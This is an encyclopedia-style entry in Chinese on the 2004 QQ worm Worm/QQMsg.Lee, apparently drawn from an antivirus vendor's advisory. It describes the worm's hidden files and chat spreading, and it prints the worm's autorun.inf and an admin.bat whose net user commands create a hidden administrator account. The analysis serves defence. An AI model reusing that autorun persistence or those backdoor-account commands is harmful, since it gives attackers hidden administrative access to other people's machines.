qq樂

qq樂所屬一款電腦網路病毒,該病毒與以往的病毒類似,只是傳送廣告信息。

病毒名稱:Worm/QQMsg.Lee

病毒類型:蠕蟲病毒大小:204859,204865位元組
傳播方式:網路編譯版本:VCdebug
2004年6月17日,江民反病毒截獲QQ消息病毒Worm/QQMsg.Lee。該病毒與以往的病毒類似,只是傳送廣告信息。病毒自動運行方式不同於
傳統修改註冊表啟動項,而是創建了autorun.inf自運行檔案,打開盤符後會自動運行,原理與自啟動光碟相同。

具體技術特徵如下:

1. 病毒運行後在各個盤的根目錄下創建隱含檔案:
system32.exe, 204859位元組
system32dll.dll, 204865位元組
admin.bat, 71位元組
autorun.inf, 28位元組
其中autorun.inf的內容為:
【autorun】
open=System32.exe
使得每當打開盤符後病毒自動運行。病毒的這種方法區別於一般的修改註冊表啟動項的方法,更加隱蔽。
2.病毒運行後會監視qq聊天視窗,一旦發現則向對方傳送病毒網址:
3. 病毒運行後產生的admin.bat內容為:
net user lee abcd1234!@# /add
net localgroup administrators lee /add
病毒將增加一個名為lee的用戶,密碼為abcd1234!@#,然後將之加入管理員組。
解決方案:針對該病毒江民公司在第一時間升級了病毒庫,用戶只需將KV江民防毒系列軟體智慧型升級到2004年6月17日最新版本,開啟七套實時

相關詞條

相關搜尋

熱門詞條

聯絡我們